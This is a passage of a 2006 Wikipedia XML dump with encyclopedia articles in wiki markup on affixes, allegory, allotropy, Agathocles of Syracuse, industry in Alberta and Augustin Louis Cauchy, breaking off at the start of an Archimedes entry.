{| class=&quot;wikitable&quot;
! affix !! example
|- align=&quot;center&quot;
| prefix || &lt;u&gt;''un''&lt;/u&gt;do&lt;br&gt;''prefix'' + root
|- align=&quot;center&quot;
| suffix || look&lt;u&gt;''ing''&lt;/u&gt;&lt;br&gt;root + ''suffix''
|- align=&quot;center&quot;
| infix &lt;sup&gt;1&lt;/sup&gt; || fan&lt;u&gt;''freaking''&lt;/u&gt;tastic&lt;br&gt;ro- + ''infix'' + -ot
|- align=&quot;center&quot;
| circumfix || [[Kabyle language|Kabyle]]: {{IPA|&lt;u&gt;''θ''&lt;/u&gt;issli&lt;u&gt;''θ''&lt;/u&gt;}} &quot;bride&quot;&lt;br&gt;(compare to {{IPA|issli}} &quot;groom&quot;)&lt;br&gt;''circumfix'' + root + ''circumfix''
|- align=&quot;center&quot;
| suprafix || '''pro'''duce (noun)&lt;br&gt;pro'''duce''' (verb)&lt;br&gt;(changing [[lexical stress|stress]])
|}
&lt;small&gt;&lt;sup&gt;1&lt;/sup&gt; [[English language|English]] [[tmesis|tmeses]], as in this example, are by some considered infixes.&lt;/small&gt;
&lt;br&gt;

==Lexical affixes==

''Lexical affixes'' (or ''semantic affixes'') are bound elements that appear as affixes, but function as [[incorporated noun]]s within verbs and as elements of [[compound noun]]s. In other words, they are similar to word roots/stems in function but similar to affixes in form. Although similar to incorporated nouns, lexical affixes differ in that they never occur as freestanding nouns, i.e. they always appear as affixes. 

Lexical affixes are relatively rare. The [[Wakashan languages|Wakashan]], [[Salishan languages|Salishan]], and [[Chimakuan languages|Chimakuan]] languages all have lexical suffixes — the presence of these is an [[areal feature]] of the Pacific Northwest of the [[North America]].

The lexical suffixes of these languages often show little to no resemblance to free nouns with similar meanings. Compare the lexical suffixes and free nouns of [[Saanich language|Northern Straits Saanich]] written in the Saanich orthography and in [[Americanist phonetic notation|Americanist notation]]:

{| border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;border-collapse: collapse; background: #f9f9f9; margin: 1em 1em 1em 0; vertical-align: top; border: 1px solid #ccc; line-height: 1.2em; font-family: Chrysanthi Unicode, Doulos SIL, Gentium, GentiumAlt, Code2000, TITUS Cyberbit Basic, DejaVu Sans, Bitstream Vera Sans, Bitstream Cyberbit, Arial Unicode MS, Lucida Sans Unicode, Hiragino Kaku Gothic Pro, Matrix Unicode;&quot;
|- style=&quot;font-size: 85%; background: #efefef;&quot;
! colspan=&quot;3&quot; | Lexical Suffix
! colspan=&quot;3&quot; | Noun
|-
| -O,
| -aʔ
| &quot;person&quot;
| ,EL̶TÁLṈEW̱
| ʔəɬtelŋəxʷ
| &quot;person&quot;
|-
| -NÁT
| -net
| &quot;day&quot;
| SC̸IĆEL
| skʷičəl
| &quot;day&quot;
|-
| -SEN
| -sən
| &quot;foot, lower leg&quot;
| SXENE,
| sx̣ənəʔ
| &quot;foot, lower leg&quot;
|- 
| -ÁWTW̱
| -ew̕txʷ
| &quot;building, house, campsite&quot;
| ,Á,LEṈ
| ʔeʔləŋ
| &quot;house&quot;
|}

Lexical suffixes when compared with free nouns often have a more generic or general meaning. For instance, one of these languages may have a lexical suffix that means water in a general sense, but it may not have any noun equivalent referring to water in general and instead have several nouns with a more specific meaning (such &quot;saltwater&quot;, &quot;whitewater&quot;, etc.). In other cases, the lexical suffixes have become [[grammaticalization|grammaticalized]] to various degrees.

Some linguists have claimed that these lexical suffixes provide only adverbial or adjectival notions to verbs. Other linguists disagree arguing that they may additionally be syntactic [[Verb argument|arguments]] just as free nouns are and thus equating lexical suffixes with incorporated nouns. Gerdts (2003) gives examples of lexical suffixes in the [[Halkomelem language]] (the [[word order]] here is [[Verb Subject Object]]):

:{| cellpadding=&quot;5&quot; vertical-align: top; border: 1px solid #ccc; line-height: 1.2em; text-align: center; font-family: Chrysanthi Unicode, Doulos SIL, Gentium, GentiumAlt, Code2000, TITUS Cyberbit Basic, DejaVu Sans, Bitstream Vera Sans, Bitstream Cyberbit, Arial Unicode MS, Lucida Sans Unicode, Hiragino Kaku Gothic Pro, Matrix Unicode;&quot;
|- style=&quot;line-height: 1.0em; font-size: 75%&quot;
|
|
| style=&quot;background: #bbbbff&quot; | VERB
| style=&quot;background: #ffebad&quot; | SUBJ
| style=&quot;background: #ffbbbb&quot; | OBJ
|-
| (1) 
| niʔ
| šak’ʷ-ət-əs
| łə słeniʔ
| &lt;span style=&quot;color:#008000&quot;&gt;&lt;u&gt;łə qeq&lt;/u&gt;&lt;/span&gt;
|-
| 
| colspan=&quot;3&quot; | &quot;the woman bathed &lt;span style=&quot;color:#008000&quot;&gt;&lt;u&gt;the baby&lt;/u&gt;&lt;/span&gt;&quot;
|- style=&quot;line-height: 1.0em; font-size: 75%&quot;
| &amp;nbsp;
|- style=&quot;line-height: 1.0em; font-size: 75%&quot;
|
|
| style=&quot;background: #bbbbff&quot; | VERB&lt;span style=&quot;color:#800000&quot;&gt;+LEX.SUFF&lt;/span&gt;
| style=&quot;background: #ffebad&quot; | SUBJ
| 
|-
| (2) 
| niʔ
| šk’ʷ&lt;span style=&quot;color:#800000&quot;&gt;&lt;u&gt;-əyəł&lt;/u&gt;&lt;/span&gt;
| łə słeniʔ
|
|- 
|
| colspan=&quot;3&quot; | &quot;the woman bathed &lt;span style=&quot;color:#800000&quot;&gt;&lt;u&gt;the/a baby&lt;/u&gt;&lt;/span&gt;&quot;
|}

In sentence (1), the verb &quot;bathe&quot; is {{unicode|'''šak’ʷətəs'''}} where {{unicode|'''šak’ʷ-'''}} is the root and {{unicode|'''-ət'''}} and {{unicode|'''-əs'''}} are inflectional suffixes. The subject &quot;the woman&quot; is {{unicode|'''łə słeniʔ'''}} and the object &lt;span style=&quot;color:#008000&quot;&gt;&quot;the baby&quot;&lt;/span&gt; is &lt;span style=&quot;color:#008000&quot;&gt;{{unicode|'''łə qeq'''}}&lt;/span&gt;. In this sentence, &quot;the baby&quot; is a free noun. (The {{unicode|'''niʔ'''}} here is an [[auxiliary]], which can be ignored for explanatory purposes.) 

In sentence (2), &lt;span style=&quot;color:#800000&quot;&gt;&quot;the/a baby&quot;&lt;/span&gt; does not appear as a free noun. Instead it appears as the lexical suffix &lt;span style=&quot;color:#800000&quot;&gt;{{unicode|'''-əyəł'''}}&lt;/span&gt; which is affixed to the verb root {{unicode|'''šk’ʷ-'''}} (which has changed slightly in pronunciation, but this can also be ignored here). Note how the lexical suffix may be translated as either &quot;the baby&quot; (definite) or &quot;a baby&quot; (indefinite): this change in [[definiteness]] is a common change in meaning that happens with incorporated nouns.

==See also==

* [[Derivation (linguistics) | Derivation]]
* [[List of English prefixes]]
* [[List of English suffixes]]
* [[Family name affixes]]
* [[Combining form]]

==Bibliography==

* Gerdts, Donna B. (2003). The morphosyntax of Halkomelem lexical suffixes. ''International Journal of American Linguistics'', ''69'' (4), 345-356.
* Montler, Timothy. (1986). ''An outline of the morphology and phonology of Saanich, North Straits Salish''. Occasional Papers in Linguistics (No. 4). Missoula, MT: University of Montana Linguistics Laboratory.
* Montler, Timothy. (1991). ''Saanich, North Straits Salish classified word list''. Canadian Ethnology service paper (No. 119); Mercury series. Hull, Quebec: Canadian Museum of Civilization.

[[Category:Linguistic morphology]]
[[Category:Affixes|*]]

[[cv:Аффикс]]
[[de:Affix#Affixe in der klassischen Linguistik]]
[[es:Afijo]]
[[eo:Afikso]]
[[fr:Affixe]]
[[gl:Afixo]]
[[is:Aðskeyti]]
[[nl:Affix]]
[[ja:接辞]]
[[pl:Afiks]]
[[pt:Afixo]]
[[sv:Affix]]
[[zh:詞綴]]</text>
    </revision>
  </page>
  <page>
    <title>Allegory</title>
    <id>1837</id>
    <revision>
      <id>41477317</id>
      <timestamp>2006-02-27T16:52:50Z</timestamp>
      <contributor>
        <username>Buchanan-Hermit</username>
        <id>775423</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/163.153.27.11|163.153.27.11]] to last version by Colonies Chris</comment>
      <text xml:space="preserve">An '''allegory''' (from [[Greek language|Greek]] &amp;alpha;&amp;lambda;&amp;lambda;&amp;omicron;&amp;sigmaf;, ''allos'', &quot;other&quot;, and &amp;alpha;&amp;gamma;&amp;omicron;&amp;rho;&amp;epsilon;&amp;upsilon;&amp;epsilon;&amp;iota;&amp;nu;, ''agoreuein,'' &quot;to speak in public&quot;) is a figurative mode of [[representation (arts)|representation]] conveying a [[meaning]] other than and in addition to the literal. Through allegory a subject of a higher spiritual order is described in terms of that of a lower which is made out to resemble it in properties and circumstances, the principal subject being so kept out of view that we are left to construe the drift of it from the resemblance of the two subjects.

Allegory is generally treated as a figure of [[rhetoric]], but an allegory does not have to be expressed in [[language]]: it may be addressed to the eye, and is often found in [[painting]], [[sculpture]] or some form of [[mimetic art]].  The [[etymology|etymological]] meaning of the word is wider than that which it bears in actual use.  Though it is similar to other rhetorical comparisons, an allegory is sustained longer and more fully in its details than a [[metaphor]], and appeals to imagination where an [[analogy]] appeals to reason.  The [[fable]] or [[parable]] is a short allegory with one definite moral.

[[Northrop Frye]] discussed the continuum of allegory from what he termed the &quot;naive allegory&quot; of ''The Faerie Queen'' to the more private allegories of modern paradox literature. The characters in a &quot;naive&quot; allegory are not fully three-dimensional, for each aspect of their individual personalities and the events that befall them embodies some moral quality or other abstraction. The allegory has been selected first: the details merely flesh it out.

Since meaningful stories are always applicable to larger issues, allegories may be read into many stories, sometimes distorting their author's overt meaning. For instance, many people have suggested that [[The Lord of the Rings]] was an allegory for the [[world war|World Wars]], an interpretation which the author sharply denied, stating, &quot;I cordially dislike allegory in all of its manifestations.&quot;

The allegory has been a favourite form in the literature of nearly every nation.  The Hebrew scriptures present frequent instances of it, an example of which is the comparison of the history of Israel to the growth 
of a vine in {{Bibleverse|Psalm||80:8-17|}}. In the Rabbinic tradition fully-developed allegorical readings were applied to every text, with every detail of the narrative given an [[emblem]]atic reading.  A particularly important case is the [[Song of Solomon|Song of Songs]], which was accepted as [[Biblical canon|canonical]] only because of an allegorical reading. This tradition of Biblical interpretation was inherited by Christian writers, for whom allegorical similitudes are the basis of [[exegesis]], the origin of the arts of [[hermeneutics]]. The late Jewish and Early Christian visionary [[Apocalyptic literature]], with its base in the ''[[Book of Daniel]]'', presents allegorical figures, of which the [[Whore of Babylon]] and the Beast of ''Revelation'' are the most familiar. 

In classical literature two of the best-known allegories are the cave of shadowy representations in [[Plato]]'s ''[[Republic]]'' (Book VII) and the story of the stomach and its members in the speech of Menenius Agrippa ([[Livy]] ii. 32); and several occur in [[Ovid]]'s ''[[Metamorphoses (poem)|Metamorphoses]].'' In Late Antiquity [[Martianus Capella]] organized all the information a 5th-century upper-class male needed to know into an allegory of the wedding of Mercury and ''Philologia,'' with the seven [[liberal arts]] as guests, an allegory that was widely read through the Middle Ages. 

Medieval thinking accepted allegory as having a ''reality'' underlying any rhetorical or fictional uses. The allegory was as true as superficial facts. Thus, the bull ''[[Unam Sanctam]]'' (1302) presents themes of the unity of [[Christendom]] with the pope as its head in which the allegorical details of the metaphors are adduced as ''actual facts'' which take the place of a logical demonstration, employing the vocabulary of logic: &quot;''Therefore'' of this one and only Church there is one body and one head—not two heads as if it were a monster... If, then, the Greeks or others say that they were not committed to the care of Peter and his successors, they ''necessarily'' confess that they are not of the sheep of Christ&quot; [http://en.wikisource.org/wiki/Unam_sanctam (complete text)].

In the late 15th century, the enigmatic ''[[Hypnerotomachia]]'', with its elaborate woodcut illustrations, shows the influence of themed pageants and [[masque]]s on contemporary allegorical representation, as [[Renaissance humanism|humanist dialectic]] conveyed them.

Some elaborate and successful specimens of allegory are to be found in the following works, arranged in approximately chronological order:  
* [[Aesop]] &amp;ndash; ''[[Aesop's Fables| Fables]]'' 
* [[Plato]] &amp;ndash; ''[[Plato's Republic|The Republic]]'' (''[[Plato's allegory of the cave]]'')
* [[Plato]] &amp;ndash; ''[[Phaedrus (dialogue)|Phaedrus]]'' (''[[Chariot Allegory]]'')
* ''[[Book of Revelation]]'' (for allegory in Christian theology, see [[typology (theology)]])
* [[Martianus Capella]] &amp;ndash; ''De nuptiis philologiæ et Mercurii''
* ''[[The Romance of the Rose]]''
* [[William Langland]] &amp;ndash;  ''[[Piers Plowman]]''
*[[Pearl (poem)|Pearl]]
* [[Dante Alighieri]] &amp;ndash; ''[[The Divine Comedy]]''
* [[Edmund Spenser]] &amp;ndash; ''[[The Faerie Queene]]''
* [[John Bunyan]] &amp;ndash; ''[[Pilgrim's Progress]]''
* [[Jean de La Fontaine]] &amp;ndash; ''Fables''
* [[Jonathan Swift]] &amp;ndash; ''[[A Tale of a Tub]]''
* [[Joseph Addison]] &amp;ndash; ''Vision of Mirza''
* [[Edgar Allan Poe]] &amp;ndash; ''[[The Masque of the Red Death]]''
Modern allegories in fiction tend to operate under constraints of modern requirements for [[verisimilitude]] within conventional expectations of [[realism (arts)|realism]]. Works of fiction with strong allegorical overtones include:
* [[William Golding]] &amp;ndash; ''[[Lord of the Flies (novel)|Lord of the Flies]]''
* [[George Orwell]] &amp;ndash; ''[[Animal Farm]]''
* [[Arthur Miller]] &amp;ndash; ''[[The Crucible]]''
* [[Philip Pullman]] &amp;ndash; ''[[His Dark Materials]]''
* [[Hualing Nieh]] &amp;ndash; ''[[Mulberry and Peach]]''
* [[David Lindsay (novelist)|David Linday]] &amp;ndash; ''A Voyage to Arcturus'

Where some requirements of &quot;realism&quot;, in its flexible meanings, are set aside, allegory can come more strongly to the surface, as in the work of [[Bertold Brecht]] or [[Franz Kafka]] on one hand, or on the other in science fiction and fantasy, where an element of universal application and allegorical overtones are common, from ''[[Dune (novel)|Dune]]'' to ''[[The Chronicles of Narnia]]''.

Allegorical films include:
* [[Fritz Lang]]'s ''[[Metropolis (movie)|Metropolis]]''
* [[Ingmar Bergman]]'s ''[[The Seventh Seal]]'' 
* ''[[El Topo]]'' etc.
Allegorical artworks include:
* [[Sandro Botticelli]] &amp;ndash; ''La Primavera (Allegory of Spring)''
* [[Albrecht Dürer]] &amp;ndash; ''[[Melancholia I]]''
* [[Artemisia Gentileschi]] &amp;ndash; ''Self-Portrait as the Allegory of Painting''; ''Allegory of Inclination''
* [[Jan Vermeer]] &amp;ndash; ''The Allegory of Painting''

==See also==
*[[Allegory in the Middle Ages]]
*[[Allegorical sculpture]]
*[[Roman à clef]]

==External links==
*[http://www.tnellen.com/cybereng/lit_terms/allegory.html Good brief definition of Allegory]
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-07 ''Dictionary of the History of Ideas'':] Allegory in Literary history
*[http://scholar.lib.vt.edu/ejournals/ElAnt/V1N5/levis.html ''Electronic Antiquity'', Richard Levis, &quot;Allegory and the ''Eclogues''&quot;] Roman definitions of ''allegoria'' and interpreting Vergil's ''[[Eclogue]]s''. 

==Further reading==
*[[Northrop Frye|Frye, Northrop]], 1957. ''[[Anatomy of Criticism]]''

[[Category:Rhetoric]]

[[cs:Alegorie]]
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  <page>
    <title>Amazon river</title>
    <id>1838</id>
    <revision>
      <id>15900301</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Amazon River]]
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  </page>
  <page>
    <title>Allotropy</title>
    <id>1839</id>
    <revision>
      <id>41612128</id>
      <timestamp>2006-02-28T14:35:53Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.165.43.10|207.165.43.10]] ([[User talk:207.165.43.10|talk]]) to last version by Chobot</comment>
      <text xml:space="preserve">{{expert}}
{{Sections}}
[[Image:Allotropy.jpg|thumb|right|Example of allotropic materials: graphite vs. Diamond]]
'''Allotropy''' (Gr. ''allos'', other, and ''tropos'', manner), a name 
applied by [[Jöns Jakob Berzelius]] to the property possessed by certain 
substances of existing in forms with different chemical structures; the various forms are known as ''allotropes''. Jöns Jakob Berzelius used the name in an entirely different sense (see Macmillan Encyclopedia of Chemistry, edited by J.J.Lagowski, 1997, Simon Schuster). 

Some classic examples of elements that have allotropes are [[phosphorus]] (in &quot;red&quot;, &quot;white&quot;, &quot;purple&quot; etc. forms), [[oxygen]] (O&lt;sub&gt;2&lt;/sub&gt;, [[ozone|O&lt;sub&gt;3&lt;/sub&gt;]], and [[tetraoxygen|O&lt;sub&gt;4&lt;/sub&gt;]]) and [[carbon]] (in the form of [[graphite]], [[diamond]], [[fullerenes]], and others - see [[allotropes of carbon]]).  The term allotropes may also be used to refer to the molecular forms of an element (such as a diatomic gas), even if there is only one such additional form.

[[Sulfur]] is an additional example of an element with several allotropic forms. Amorphous (plastic sulfur) is produced by quickly cooling the crystalline form, generating helical structure with eight atoms per spiral. 

Allotropy specifically refers to the chemical bond structure between atoms of the same kind and should not be confused with the existence of [[phases of matter|multiple physical states]], such as with [[water]], which can exist as a [[gas]] ([[steam]]), a [[liquid]] (water), or a [[solid]] ([[ice]]).  These phases of water are not allotropes, since they are caused by changes in the physical bonding between water molecules, rather than changes in the chemical bonding of the water molecules themselves. Allotropes of an element can be in any state, gaseous, liquid, or solid. 

Allotropy usually refers to pure elemental solids, while [[allotropy|polymorphism]] may refer to elemental solids or more generally to any material having multiple crystal structures.

As can be seen with the example of carbon allotropes, certain physical properties can vary dramatically from allotrope to allotrope. In diamond, carbon [[atom]]s are connected each to four other carbon atoms in a [[tetrahedron|tetrahedral]] lattice structure, whereas in graphite, each carbon atom is firmly bonded to just three other carbon atoms in [[hexagon]]al sheets.  These hexagonal sheets are then more loosely coupled to one another in stacks.  The structure of fullerenes (a [[carbon]] allotrope found in [[soot]]) resembles that of graphite, except that instead of hexagons of carbon atoms, smaller regular [[polygon]]s are formed, such as a mix of hexagons and [[pentagon]]s, such that the sheet can fold back onto itself into closed [[spheroid]]s, as with the seams of a [[soccer]] ball.
Allotropes not only show dramatic differences in physical properties but also
show differences in chemical properties. Graphite can be oxidized by [[nitric acid]] to give compounds related to [[benzene]] whereas diamond does not give compounds related to benzene.
==See also==
*[[Tin pest]]
*[[Allotropes of carbon]]

[[Category:Inorganic chemistry]]

[[ar:تآصل]]
[[ca:Al·lotropia]]
[[de:Allotropie]]
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  </page>
  <page>
    <title>Agathocles</title>
    <id>1840</id>
    <revision>
      <id>39478656</id>
      <timestamp>2006-02-13T16:35:25Z</timestamp>
      <contributor>
        <ip>213.41.174.227</ip>
      </contributor>
      <comment>fr:</comment>
      <text xml:space="preserve">{{otheruses}}

'''Agathocles''' ([[361 BC]]-[[289 BC]]), [[tyrant]] of [[Syracuse, Italy|Syracuse]] ([[317 BC]]-[[289 BC]]) and king of [[Sicily]] ([[304 BC]]-[[289 BC]]).

[[Image:agathocles coin.jpg|thumb|200px|right|Coin of Agathocles.]]

He was born at Thermae Himeraeae (modern name [[Termini Imerese]]) in Sicily. The son of a [[pottery|potter]] who had moved to Syracuse in about [[343 BC]], he learned his father's trade, but afterwards entered the army. In [[333 BC]] he married the [[widow]] of his patron Damas, a distinguished and wealthy citizen. He was twice [[banishment|banished]] for attempting to overthrow the [[oligarchy|oligarchical]] party in Syracuse. 

In [[317 BC]] he returned with an army of [[mercenary|mercenaries]] under a solemn oath to observe the [[democracy|democratic]] [[constitution]] which was then set up. Having banished or murdered some 10,000 citizens, and thus made himself master of Syracuse, he created a strong army and fleet and subdued the greater part of Sicily.

War with [[Carthage]] followed. In [[311 BC]] Agathocles was [[siege|besieged]] and defeated in Syracuse in [[Battle of Himera (311 BC)|the battle of Himera]]. After defeat in [[310 BC]] he took the desperate resolve of breaking through the [[blockade]] and attacking the enemy in [[Africa]]. In Africa he concluded the treaty with [[Ophellas]], ruler of [[Cyrenaica]]. After several victories he was at last completely defeated ([[307 BC]]) and fled secretly to Sicily.  

After concluding peace with Carthage in [[306 BC]], Agathocles styled himself king of Sicily in [[304 BC]], and established his rule over the [[Greece|Greek]] cities of the island more firmly than ever. A peace treaty with Carthage left him in control of Sicily east of the [[Halycus River]]. Even in his old age he displayed the same restless energy, and is said to have been contemplating a fresh attack on Carthage at the time of his death.

His last years were harassed by ill-health and the turbulence of his grandson [[Archagathus]], at whose instigation he is said to have been [[poison|poisoned]]; according to others, he died a natural death. He was a born leader of mercenaries, and, although he did not shrink from cruelty to gain his ends, he afterwards showed himself a mild and popular &quot;tyrant.&quot; Agathocles restored the Syracusan democracy on his death bed and did not want his sons to succeed him as king.

Agathocles married [[Theoxena]], stepdaughter of [[Ptolemy I of Egypt]]. His daughter [[Lanassa]] married King [[Pyrrhus of Epirus]].

==Sources==
* [[Junianus Justinus|Justin]]
* [[Diodorus Siculus]] xix., xxi., xxii. (follows generally Timaeus who had a special grudge against Agathocles)
* [[Polybius]] ix. 23

==References==
* Schubert, (1887) ''Geschichte des Agathokles''
* Grote, ''History of Greece'', ch. 97.

{{1911}}

[[Category:361 BC births]]
[[Category:289 BC deaths]]
[[Category:Ancient Greek generals]]
[[Category:Sicilian tyrants]]

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[[sv:Agathokles]]
[[zh:阿加托克利斯]]</text>
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  </page>
  <page>
    <title>Industry in Alberta</title>
    <id>1841</id>
    <revision>
      <id>34900031</id>
      <timestamp>2006-01-12T16:20:44Z</timestamp>
      <contributor>
        <username>Circeus</username>
        <id>98785</id>
      </contributor>
      <minor />
      <comment>rm {{alberta}}</comment>
      <text xml:space="preserve">The primary '''[[Industry|industries]] in [[Alberta]]''', [[Canada]] are [[Energy development|energy]], [[logging|lumber]], and [[Agriculture|farming]] and [[ranching]]. 

While [[gold]] and other [[mining]] operations still exist from the time of the [[Klondike Gold Rush]], they have diminished in importance as [[petroleum|oil]] and [[natural gas|gas]] extraction have achieved dominance in the [[1980s]] and [[1990s]].

Vast beds of [[coal]] are found extending for hundreds of miles, a short distance below the surface of the plains.  The coal belongs to the [[Cretaceous]] beds, and while not so heavy as that of the Coal Measures in [[England]] is of excellent quality.  In the valley of the [[Bow River]], alongside the [[Canadian Pacific Railway]], valuable beds of anthracite coal are still worked.  The usual coal deposits of the Province of Alberta are of bituminous or semi-bituminous coal.  These are largely worked at [[Lethbridge, Alberta|Lethbridge]] in southern Alberta and [[Edmonton, Alberta|Edmonton]] in the centre of the province.  Many other parts of the province have pits for private use.

Notable gas reserves were discovered in the [[1890s]], when the town of [[Medicine Hat, Alberta|Medicine Hat]] began using gas for lighting the town, and suppling light and fuel for the people, and a number of industries using the gas for manufacturing. In fact a large glassworks was established at Redcliff.  When Rudyard Kipling visited Medicine Hat he described it as the city &quot;with all hell for a basement.&quot;

Since the early [[1940s]], Alberta had supplied oil and gas to the rest of Canada and the [[United States]]. The [[Athabasca River]] region, as well as localities far north on the [[Mackenzie River]], produce oil for internal and external use. The [[Athabasca Oil Sands]] contain the largest proven reserves of oil in the world. [[Natural gas]] has been found at several points, and in 1999, the production of natural gas liquids ([[ethane]], [[propane]], and [[butane|butanes]]) totaled 172.8 million barrels (27,000,000 m&amp;sup3;), valued at $2.27 billion. Alberta also provides 13% of all the natural gas used in the United States.  

In 1999, [[lumber]] products from Alberta were valued at $4.1 billion of which 72% were exported around the world. Since forests cover approximately 59% of the province's land area, the government allows about 23,300,000 cubic metres to be harvested annually from the forests on public lands. 

In the past, [[cattle]], [[horses]], and [[domestic sheep|sheep]] were reared in the southern prairie region on ranches or smaller holdings. Currently Alberta produces cattle valued at over $3.3 billion, as well as other livestock in lesser quanities. In this region [[irrigation]] is widely used.  [[Wheat]], accounting for almost half of the $2 billion agricultural economy, is supplemented by [[canola]], [[barley]], [[rye]], [[sugar beets]], and other mixed farming.

Alberta is the richest province in Canada (GDP per capita wise) and if it were its own country, it would be ranked second richest in the world (after Luxembourg). The average Albertan salary is more than $7,000 US higher than the American average.  If oil prices do not collapse, then within a few short years Albertans are expected to have not only the highest salaries in the world but also the highest quality of life.

[[Category:Alberta]]</text>
    </revision>
  </page>
  <page>
    <title>Augustin Louis Cauchy</title>
    <id>1842</id>
    <revision>
      <id>40589465</id>
      <timestamp>2006-02-21T17:45:19Z</timestamp>
      <contributor>
        <username>Predr</username>
        <id>395615</id>
      </contributor>
      <minor />
      <comment>+da</comment>
      <text xml:space="preserve">[[Image:Augustin_Louis_Cauchy.JPG|thumb|250px|right|Augustin Louis Cauchy]]

'''Augustin Louis Cauchy''' ([[August 21]], [[1789]] &amp;ndash; [[May 23]],[[1857]]) was a [[France|French]] [[mathematician]]. He started the project of formulating and proving the theorems of [[calculus]] in a rigorous manner and was thus an early pioneer of [[mathematical analysis|analysis]]. He also gave several important theorems in [[complex analysis]] and initiated the study of [[permutation group]]s. A profound mathematician, Cauchy exercised by his perspicuous and rigorous methods a great influence over his contemporaries and successors. His writings cover the entire range of mathematics and [[mathematical physics]].

Having received his early education from his father [[Louis François Cauchy]] ([[1760]]&amp;ndash;[[1848]]), who held several minor public appointments and counted [[Joseph Louis Lagrange|Lagrange]] and [[Pierre-Simon Laplace|Laplace]] among his friends, Cauchy entered the [[École Centrale du Panthéon]] in [[1802]], and proceeded to the [[École Polytechnique]] in [[1805]], and to the [[École Nationale des Ponts et Chaussées]] in [[1807]]. Having adopted the profession of an [[Engineering|engineer]], he left [[Paris]] for [[Cherbourg]] in [[1810]], but returned in [[1813]] on account of his health, whereupon Lagrange and Laplace persuaded him to renounce engineering and to devote himself to mathematics. He obtained an appointment at the École Polytechnique, which, however, he relinquished in [[1830]] on the accession of [[Louis-Philippe_of_France|Louis-Philippe]], finding it impossible to take the necessary oaths. A short sojourn at [[Fribourg]] in [[Switzerland]] was followed by his appointment in [[1831]] to the newly-created chair of mathematical physics at the [[University of Turin]]. 

In [[1833]] the deposed king [[Charles X of France]] summoned Cauchy to be tutor to his grandson, the duke of [[Bordeaux]], an appointment which enabled Cauchy to travel and thereby become acquainted with the favourable impression which his investigations had made. Charles created him a [[baron]] in return for his services. Returning to Paris in [[1838]], Cauchy refused a proffered chair at the [[Collège de France]], but in [[1848]], the oath having been suspended, he resumed his post at the École Polytechnique, and when the oath was reinstituted after the [[coup d'état]] of [[1851]], Cauchy and [[François Arago]] were exempted from it.

Cauchy had two brothers: [[Alexandre Laurent Cauchy]] ([[1792]]&amp;ndash;[[1857]]), who became a president of a division of the court of appeal in [[1847]], and a judge of the court of cassation in [[1849]]; and [[Eugène François Cauchy]] ([[1802]]&amp;ndash;[[1877]]), a publicist who also wrote several mathematical works.

The genius of Cauchy was illustrated in his simple solution of the [[Apollonian gasket|problem of Apollonius]], i.e. to describe a [[circle]] touching three given circles, which he discovered in [[1805]], his generalization of [[Euler's theorem]] on [[polyhedra]] in [[1811]], and in several other elegant problems. More important is his memoir on [[wave]] propagation, which obtained the Grand Prix of the Institut in [[1816]]. His greatest contributions to mathematical science are enveloped in the rigorous methods which he introduced. These are mainly embodied in his three great treatises, ''Cours d'analyse de l'École Polytechnique'' ([[1821]]); ''Le Calcul infinitésimal'' ([[1823]]); ''Leçons sur les applications de calcul infinitésimal''; ''La géométrie'' ([[1826]]&amp;ndash;[[1828]]); and also in his ''Courses of mechanics'' (for the École Polytechnique), ''Higher algebra'' (for the [[Faculté des Sciences]]), and of ''Mathematical physics'' (for the Collège de France). His treatises and contributions to scientific journals (to the number of 789) contain investigations on the theory of series (where he developed with perspicuous skill the notion of convergency), on the theory of numbers and complex quantities, the theory of groups and substitutions, the theory of functions, differential equations and determinants. He clarified the principles of the calculus by developing them with the aid of limits and continuity, and was the first to prove [[Taylor's theorem]] rigorously, establishing his well-known form of the remainder. In [[mechanics]], he made many researches, substituting the notion of the continuity of geometrical displacements for the principle of the continuity of matter. In [[optics]], he developed the wave theory, and his name is associated with the simple dispersion formula. In [[elasticity]], he originated the theory of [[stress (physics)|stress]], and his results are nearly as valuable as those of [[Simeon Poisson]].

He was the first to prove the [[Fermat polygonal number theorem]].

He created the [[residue theorem]] and used it to derive a whole host of most interesting series and integral formulas.

He was the first to define complex numbers as pairs of real numbers.

He discovered many of the basic formulas in the theory of [[q-series]].

His collected works, ''&amp;#338;uvres complètes d'Augustin Cauchy'', have been published in 27 volumes.

==See also==

* [[Cauchy integral theorem]]
* [[Cauchy's integral formula]]
* [[Cauchy-Schwarz inequality]]
* [[Cauchy distribution]]
* [[Cauchy determinant]]
* [[Cauchy formula for repeated integration]]
* [[Cauchy sequence]]
* [[Cauchy-Riemann equations]]
* [[Cauchy-Frobenius lemma]]
* [[Cauchy product]]
* [[Cauchy principal value]]
* [[Cauchy-Binet formula]]
* [[Cauchy-Euler equation]]
* [[Cauchy's equation]]
* [[Cauchy problem]]
* [[Cauchy horizon]]
* [[Cauchy boundary condition]]
* [[Cauchy surface]]
* [[Cauchy-Kovalevskaya theorem]]
* [[Maclaurin-Cauchy test]]
* [[Cauchy's radical test]]
* [[Cauchy (crater)]]

==External links==

* {{MacTutor Biography|id=Cauchy}}
* [http://planetmath.org/encyclopedia/CauchyCriterionForConvergence.html Cauchy criterion for convergence]
==References==
*{{1911}}

[[Category:1789 births|Cauchy, Augustin Louis]]
[[Category:1857 deaths|Cauchy, Augustin Louis]]
[[Category:19th century mathematicians|Cauchy, Augustin Louis]]
[[Category:French mathematicians|Cauchy, Augustin Louis]]
[[Category:Alumni of the École Polytechnique|Cauchy, Augustin Louis]]
[[Category:Christians in science|Cauchy]]

{{Link FA|de}}

[[bg:Огюстен Луи Коши]]
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[[ko:오귀스탱 루이 코시]]
[[hr:Augustin Louis Cauchy]]
[[is:Augustin Louis Cauchy]]
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[[he:אוגוסטין לואי קושי]]
[[lt:Augustinas Luisas Koši]]
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    </revision>
  </page>
  <page>
    <title>Archimedes</title>
    <id>1844</id>
    <revision>
      <id>42093182</id>
      <timestamp>2006-03-03T20:00:12Z</timestamp>
      <contributor>
        <username>DominvsVobiscvm</username>
        <id>862379</id>
